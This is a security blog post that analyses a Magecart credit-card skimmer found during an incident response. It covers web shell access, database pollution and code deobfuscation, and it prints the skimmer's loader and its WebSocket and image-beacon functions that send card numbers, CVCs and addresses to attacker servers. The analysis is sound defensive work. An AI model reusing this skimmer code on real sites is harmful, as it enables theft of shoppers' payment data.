Inside the Attack: The Javascript Code Behind Credit Card Theft

Back to Posts

Inside the Attack: The Javascript Code Behind Credit Card Theft

Reading Time: 14 minutes

Introduction

This paper will describe the analysis of a JavaScript script found during the activities of the Incident Response Team. The script found turned out to be designed to steal credit card data to exfiltrate sensitive information during online transactions on an e-commerce site. The script was later found to be connected to a type of attack known as “web skimming” or “Magecart,” and occurs when attackers inject malicious code into compromised e-commerce sites with the goal of intercepting payment data entered by users in checkout forms.

The article will provide a detailed analysis of the script, exploring how the code is obfuscated to evade security systems and how it handles and sends credit card data to remote servers controlled by the attackers. The various components of the script will be examined, including data collection functions, communication mechanisms with command-and-control (C&C) servers, and evasion techniques.

 

Tactical Techniques and Procedures

This section will delve into the technique reconstructed by the team whereby the attacker managed to insert malicious JavaScript code inside the back-end of an e-commerce site. The strategy used is developed through several steps, each of them allows the attacker to gradually gain more and more control over the site and the server hosting the back-end, until the final goal of exfiltrating sensitive data is achieved.

Figura 1-Attack steps

Initial access

According to research by the Cyber Threat Intelligence team, the initial access to the website’s back-end occurred using credentials stolen through an infostealer, a particular type of malware designed to collect sensitive information from infected devices. This malware, once installed on the victims’ systems, is capable of stealing passwords, cookies, and other authentication data used to access web platforms and back-end managers.

Figura 2-First back-end access

Once illicit access was gained to the back-end of the site, the attacker exploited the privileges gained to upload a malicious PHP page directly to the server. This PHP file acts as a web shell and allows the attacker to execute commands and gain complete remote control over the server, thereby bypassing normal access to the back-end manager. The inclusion of this PHP page allows the attacker to maintain a lasting persistence in the system, ensuring that the attacker can return to control the server even if the initial credentials were to be revoked or if security measures were strengthened.

Figura 3-Persistent access

 

Database access

During the investigation performed on the back-end of the website, the presence of a particular web shell customized by the attacker following the structural and operational logic of the open-source P.A.S. Fork v. 1.4 web shell, a particularly versatile tool for remote control of compromised servers, was found. This modified version allowed the attacker to exploit advanced features, such as direct interaction with the site’s database, which was critical to achieving his goals.

Figura 5 Active web shell example

 

This functionality allowed direct access and modification of database tables, without the need to go through the normal administrative flow of the site or content manager. Specifically, the attacker polluted a database row by introducing hidden malicious code.

 

This technique (database pollution) not only allowed the attacker to change the behavior of the site, but also provided even deeper persistence in the system, allowing malicious code to be executed whenever the website performed a read of the tampered row of its database.

Figura 6- Database pollution

The attacker then inserted a malicious script within the database, the contents of which are given below:

 

<script>!function(t){if(localStorage.removeItem(“XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf”),null!==localStorage.getItem(“QIQWJJnh1Ckclw0jFr5KPME2M3kYHTyq”))return!1;fetch([**,47,99,100,110,119,101,98,50,**,110,97,108,121,116,105,**,115,46,99,111,109].map((function(t){return String.fromCharCode(t)})).join(“”),{method:”POST”}).then((function(t){if(t.ok)return t.text()})).then((function(e){if(!e)return!1;try{let a=JSON.parse(e).response;if(“success”!==a.status)return!1;void 0!==a.data.socket&&localStorage.setItem(“XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf”,JSON.stringify(a.data.socket)),void 0!==a.data.handler&&localStorage.setItem(“XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf_handler”,JSON.stringify(a.data.handler)),setTimeout((()=>{try{let e=t.createElement(“script”);e.setAttribute(“src”,a.data.script.map((function(t){return String.fromCharCode(t)})).join(“”)+(a.data.script.includes(“?”)?”&”:”?”)+”_=”+(new Date).valueOf().toString().slice(0,-2)),t.head.appendChild(e)}catch(t){ }}),250)}catch(t){ }}))}(document);</script> 

 

The contained script has been identified as a fake “imager tag.” This type of script is designed to exploit the inclusion of seemingly innocuous HTML tags, such as those used to upload images, but which actually contain malicious code capable of performing malicious actions.

The fake imager tag exploits a manipulated <img> tag, in which a URL is inserted that invokes malicious code or sends requests to external servers controlled by the attacker. Specifically, inserting this script into the database allows the attacker to perform background operations whenever the tag is loaded from a page on the site.

The script is later used to inject additional payloads or dynamically modify site pages depending on conditions, increasing the effectiveness of the attack while maintaining control of the site and continuing data exfiltration undetected:

  • XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf
  • XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf_handler

void 0!==a.data.socket&&localStorage.setItem(“XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf”,JSON.stringify(a.data.socket)),void 0!==a.data.handler&&localStorage.setItem(“XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf_handler” JSON.stringify(a.data.handler))

These two keys are particularly important in understanding the script to which this code refers because they will contain the url to which a WSS connection is established and the url of the attacker’s C&C server, respectively.

Following this is ultimately generated the script that performs the theft of the user’s credit cards at checkout.

Malware Analysis

In this section, a static analysis of the malicious code contained in the script collected during the investigation of the last phase of the attack will be done. The goal of this analysis is to understand the techniques used by the attacker thus enabling the development of effective mitigation strategies. Through detailed examination of the code structures, obfuscation techniques, and malicious functionality implemented, it will be possible to draw a clear picture of the operations conducted by the attacker and the potential security implications for the compromised system.

 

Code deoffuscation

At the beginning of the analysis, the code contained within the script appears well obfuscated and almost unreadable, as it is filled with various basic code obfuscation techniques. In fact, the code appears to lack indentation (inserting a certain amount of blank space at the beginning of a line of text), making it difficult to follow its logic and structure. In addition, the use of numbers in hexadecimal form and the presence of variables whose names follow this same format further complicate the analysis. This design choice is intended to confuse analysts by making the identification of variable names and their corresponding functionality complex.

An excerpt of the original code is given below as an example:

‘use strict’;const _0x501626=_0xdcdb;function _0xdcdb(_0x3acc42,_0x41fe58){const _0x23df23=_0x23df();return _0xdcdb=function(_0xdcdb69,_0x5ed9c0){_0xdcdb69=_0xdcdb69-0x186;let _0x5a0944=_0x23df23[_0xdcdb69];return _0x5a0944;},_0xdcdb(_0x3acc42,_0x41fe58);}(function(_0x427505,_0x55830f){const _0x23ca73=_0xdcdb,_0x334814=_0x427505();while(!![]){try{const _0x1f2a2a=parseInt(_0x23ca73(0x1ab))/0x1*(parseInt(_0x23ca73(0x1aa))/0x2)+parseInt(_0x23ca73(0x1cd))/0x3+-parseInt(_0x23ca73(0x1ba))/0x4+parseInt(_0x23ca73(0x1c4))/0x5*(-parseInt(_0x23ca73(0x206))/0x6)+-parseInt(_0x23ca73(0x19d))/0x7+-parseInt(_0x23ca73(0x21e))/0x8+parseInt(_0x23ca73(0x208))/0x9*(parseInt(_0x23ca73(0x1e8))/0xa);if(_0x1f2a2a===_0x55830f)break;else _0x334814[‘push’](_0x334814[‘shift’]());}catch(_0x45dee8){_0x334814[‘push’](_0x334814[‘shift’]());}}}(_0x23df,0x5ea4d));

 

Which devoid of code obfuscation techniques results in appearing as:

function chameleon(paramPos,param2){

    const trashList=getTrashList();

    return chameleon=function(pos,param2){

                        pos=pos-390;

                        let elem =trashList[pos];

                        return elem;

                    },chameleon(paramPos,param2);

}

(function(getTrashList,numero){

    const chameleon0=chameleon,trashList=getTrashList();

    while(!![]){//while true

        try{

            const somma=parseInt(chameleon0(427))

                            /1*(parseInt(chameleon0(426))/2)

                            +parseInt(chameleon0(461))

                            /3+-parseInt(chameleon0(442))

                            /4+parseInt(chameleon0(452))

                            /5*(-parseInt(chameleon0(518))/6)+

                            -parseInt(chameleon0(413))

                            /7+-parseInt(chameleon0(543))

                            /8+parseInt(chameleon0(520))

                            /9*(parseInt(chameleon0(488))/10);

            if(somma===numero)

                break;

            else

                trashList[‘push’](trashList[‘shift’]());

        }catch(_0x45dee8){

            trashList[‘push’](trashList[‘shift’]());

        }

    }

}(getTrashList, 386761));

 

 

“Clean” code is difficult to understand because of the abundance of instructions and high-level flow controls, which makes it complicated to interpret the attacker’s intentions and the general operation of the script. A clear example of this complexity is the function called “chameleon,” which is accompanied by a subsequent self-invoked function (IIFE).

The “chameleon” function is particularly interesting because it self-defines again after the first use, occurring simultaneously with its definition. This feature complicates code understanding and introduces a level of dynamism, allowing the function to adapt its behavior based on the execution context, making it difficult to predict the operations of subsequent calls.

The function described next to “chameleon” exploits a high-level desing pattern: the IIFE (Immediately Invoked Function Expressions). The IIFE technique is usually used for the purpose of keeping the set of global variables as free as possible (i.e., accessible by the entire program) and is applicable when there is no need to reuse variables that appear within the function.

The technique consists of defining the body of an anonymous function, thus not callable elsewhere in the code, which is interpreted and immediately executed by the interpreter with parameters passed inside the round brackets located at the end of the function definition.

In this case, however, the programmer decided to use this desing pattern for the purpose of making code analysis and interpretation more complex.

The two functions mentioned are crucial to understanding how the rest of the code works, since they manipulate a long list called “trashList,” which contains alphanumeric strings of various kinds. Some of these strings refer to JavaScript functions, CSS details, HTML code, numbers, credit card providers, and more.

A further reference to the “chameleon” function emerges from the deoffused code of the IIFE function, which is used to access locations in the “trashList,” attempt an integer conversion of the value, sum them, and check whether the sum matches a specified number. In case of errors or incorrect sum, the IIFE function will move the first element of the “trashList” to the queue. This operation will be repeated until the sum equals the desired number, so that the list with the correct positions used by the rest of the code is obtained.

The script is structured using JavaScript code along with HTML and CSS for entering credit card data, checking the validity of the numbers entered, identifying the card type, and all the typical operations of a Web page intended for online transactions. Finally, it is set up to exfiltrate user and credit card data using two methods: a WebSocket connection and the use of an Image object.

Function for data exfiltration via WebSocket

The first function for exfiltrating user data is through the use of a WebSocket, a communication protocol that allows two-way communication between the client and the server. The proper exfiltration of data via WebSocket is handled by the “createWebSocket” function, which, as a first step, creates a WebSocket instance with a specific URL. This URL consists of three basic parts:

  1. “wss://”: this prefix indicates that the connection is made using the WebSocket (WSS) protocol, which encrypts the data exchanged.
  2. The contents of localStorage transformed into a string: the function extracts data from the local memory of the browser, using the key ‘XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf’.
  3. A random alphanumeric string: this string acts as a token to mask the identity of the request and evade basic checks on the URL, making it more difficult for any security mechanism to detect exfiltration operations.

After creating the WebSocket, the function defines a set of actions to be taken in response to receiving messages from the server. In this context, a finite state machine is implemented, which allows the various states of the connection to be handled efficiently and the behavior of the application to be adapted. This mechanism is particularly useful for dynamically updating the HTML code of the page, based on the state of the payment the user is in.

In within the script the send method of the WebSocket instance is then called to complete the exfiltration of data to the attacker.

createWebSocket=(randomString=genRandomString())=>{

   if(Mp2mK1sl_Socket!==![]||localStorage[‘getItem’](‘XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf’)===null)

       return![];

   Mp2mK1sl_Socket=new WebSocket(‘wss://’+JSON[‘parse’](localStorage[‘getItem’](‘XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf’))[‘map’]

(function(_0xe38f46){                                         

            return String[‘fromCharCode’](_0xe38f46);

                      })[‘join’](”)+’?token=’+randomString)

    ,localStorage[‘removeItem’](‘XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf’)

    ,Mp2mK1sl_Socket[‘onopen’]=function(_0x157e79){

         Mp2mK1sl_Interval=setInterval(()=>{

           if(Mp2mK1sl_Socket===![])

        return clearInterval(Mp2mK1sl_Interval);

    Mp2mK1sl_Socket[‘send’](JSON[‘stringify’]({‘type’:’PING’}));

     },1000);

                  }

   ,Mp2mK1sl_Socket[‘onmessage’]=function(packet){

           try{

               if(packet[‘data’][‘indexOf’](‘”code”:”error”‘) > 0)

                       remHtmlElementMp2mK1sl();

               else{

                       let packetData=JSON[‘parse’](packet[‘data’]);

                       switch(packetData[‘type’]){

                             case’OPEN_MODAL’:

                                   Mp2mK1sl_Open=!![];//true

                                   let newHtml=document[‘createElement’](‘style’);

                                   newHtml[‘setAttribute’](‘id’,’Mp2mK1sl_styles’),newHtml[‘textContent’]=’HTMLcode’,document[‘head’][‘appendChild’](newHtml);

                                                                            let Mp2mK1sl_modalHTML=HTMLcode

                                 document[‘body’][‘insertAdjacentHTML’](‘beforeend’,Mp2mK1sl_modalHTML),

                                                                            setTimeout(()=>{

                                                                                getHtmlEncoded();

                                                                                }

                                                                            ,125)

                                                                            ,setTimeout(()=>{

                                                                                //const chameleon171=chameleon71;

                                                                                Mp2mK1sl_modal[‘style’][‘opacity’]=’1′;

                                                                            },250);

                                 break;

                             case ‘PUSH’:

                                 remHtmlElementMp2mK1sl();

                                 break;

                            case’SET_CARD_LOGO’:

                                 getObjPromise(‘#Mp2mK1sl_card_brand’)[‘then’](function(_0x18223f){

                                                                   _0x18223f[‘setAttribute’](‘src’,packetData[‘path’]);

                                                                   });

                                 break;

                           case’SET_BANK_LOGO’:

                               getObjPromise(‘#Mp2mK1sl_bank_logo’)[‘then’](function(_0x429b04){

                                                                   _0x429b04[‘setAttribute’](‘src’,packetData[‘path’]);

                                                                   });

                               break;

                           case ‘PIN’:

                           case ‘SMS’:

                           case ‘WAITING’:

                               getHtmlEncoded(packetData[‘type’]);

                               break;

                           default:

                               break;

                         }

                   }

               }catch(_0x39b95f){

                                                               

               }

  },Mp2mK1sl_Socket[‘onclose’]=(event)=>{remHtmlElementMp2mK1sl();} ,Mp2mK1sl_Socket[‘onerror’]=(event)=>{remHtmlElementMp2mK1sl();};

};

Mp2mK1sl_Socket[‘send’](‘{“type”: “OPEN”, “data”: [“‘+vZUgm4QL[‘value’]+'”, “‘+rHNwyKDh9[‘value’]+'”, “‘+bjRIGoT8[‘value’]+'”]}’));

 

Function for data exfiltration by images

Within the script generated from the pollution database, as a result of the scam, data such as e-mail, address, card number, CVC code, and expiration date are placed in an object called “structUserInfo,” which is subsequently transformed into a string and passed as an argument to the “createImage” function.

The “createImage” function first creates a new object of type Image and sets its property “src.” In a normal context, these objects contain references to images that, during JavaScript execution in the web page, are downloaded and inserted into the document. However, in this case, the URL is composed in several steps:

  1. The function reads the contents of browser memory under the key “XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf_handler,” which contains the URL of a remote server (for example: http://server-remoto.com).
  2. A random number is generated to ensure that the final URL is always different and that the browser cache does not block requests, believing that it has already downloaded the image. Adding this random number forces the browser to send a new request each time the JavaScript is executed. The URL thus results in the type:

http://server-remoto.com?rnd=NumeroCasuale

  1. Next, the contents of the “structUserInfo” object, are transformed into a string and encoded in Base64, which is concatenated to the URL:

http://server-remoto.com?rnd=NumeroCasuale&data=Base64structUserInfo

  1. Finally, the address of the current page (i.e., the URL of the real website) is added, also transformed into Base64 and inserted as the last part of the URL:

http://server-remoto.com?rnd=NumeroCasuale&data=Base64structUserInfo&loc=Base64WebSite

 

createImage=dataToImg=>{

       try{

          var objImage=new Image();

           objImage[‘src’]=JSON[‘parse’](localStorage[‘getItem’](‘XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf_handler’))[‘map’](function(_0x16b167){

                    return String[‘fromCharCode’](_0x16b167);

                    })[‘join’](”)+’?rnd=’+Math[’round’](Math[‘random’]()*10000000)  +’&data=’+window[‘btoa’](dataToImg)+’&loc=’+window[‘btoa’](location[‘href’]),localStorage[‘removeItem’](‘XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf_handler’);

       }catch(_0x20edbf){

       }

}

structUserInfoFun=function(elementID,requestType){

    switch(requestType){

          case ‘value’:

             return document[‘querySelector’](elementID)?strModify(document[‘querySelector’](elementID)[‘value’]):’Not found’;

          case ‘innerHTML’:

             return document[‘querySelector’](elementID)?strModify(document[‘querySelector’](elementID)[‘innerHTML’]):’Not found’;

           case’title’:

             return document[‘querySelector’](elementID)?strModify(document[‘querySelector’](elementID)[‘title’]):’Not found’;

           default:

             return ‘Not found’;

     }

};

var structUserInfo={

‘user_agent’:navigator[‘userAgent’]||’Not found’,

’email’:structUserInfoFun(‘#thecheckout-account [name=”email”]’,’value’),

          ‘first_name’:structUserInfoFun(‘#thecheckout-address-delivery [name=”firstname”]’,’value’),

          ‘last_name’:structUserInfoFun(‘#thecheckout-address-delivery [name=”lastname”]’,’value’),

          ‘phone’:structUserInfoFun(‘#thecheckout-address-delivery [name=”phone”]’,’value’),

          ‘address’:structUserInfoFun(‘#thecheckout-address-delivery [name=”address1″]’,’value’),

          ‘city’:structUserInfoFun(‘#thecheckout-address-delivery [name=”city”]’,’value’),

          ‘country’:strNotFound,

          ‘postcode’:structUserInfoFun(‘#thecheckout-address-delivery [name=”postcode”]’,’value’),

          ‘card’:vZUgm4QL[‘value’],

          ‘expiry’:rHNwyKDh9[‘value’],

          ‘cvc’:bjRIGoT8[‘value’]

};

 

createImage(JSON[‘stringify’](structUserInfo))

 

Composing a URL such as the one just described and placing it in the src property of the Image object results in data being sent to a remote server via a “fake image,” invisible to the user on the page. This stratagem makes it possible to circumvent normal HTTP request tracking by exploiting the nature of images to pass information through without the user being aware of it.

Conclusion

With the aim of reducing the possibility of attacks similar to the one described, the Yarix Incident Response Team recommends taking certain precautions such as: using strong passwords, using two-factor authentication, and keeping the software used updated to the latest version available.

To further increase the security of the website, we recommend frequent periodic checks on the lawfulness of the website code and the reliability of connected databases and external services exploited, and adopting XDR and antivirus systems to make a timely response to attack attempts such as this.

Finally, filtering incoming requests to the website by installing a web application firewall and applying planned Vulnerability Assessment and Penetration Tests will allow blocking and knowing system vulnerabilities.

 

Author

Ryan Perrina is a young YIR team member who acquired his knowledge through a bachelor’s degree in computer engineering, a master’s degree in cybersecurity, and a curiosity for cybersecurity
and computer forensics. Through his studies he was able to acquire knowledge and get in touch with areas ranging from programming to machine learning algorithms via cybersecurity.
Between icidents he focuses on research and development to increase his knowledge, and make incident response faster and more accurate.

Share this post

Back to Posts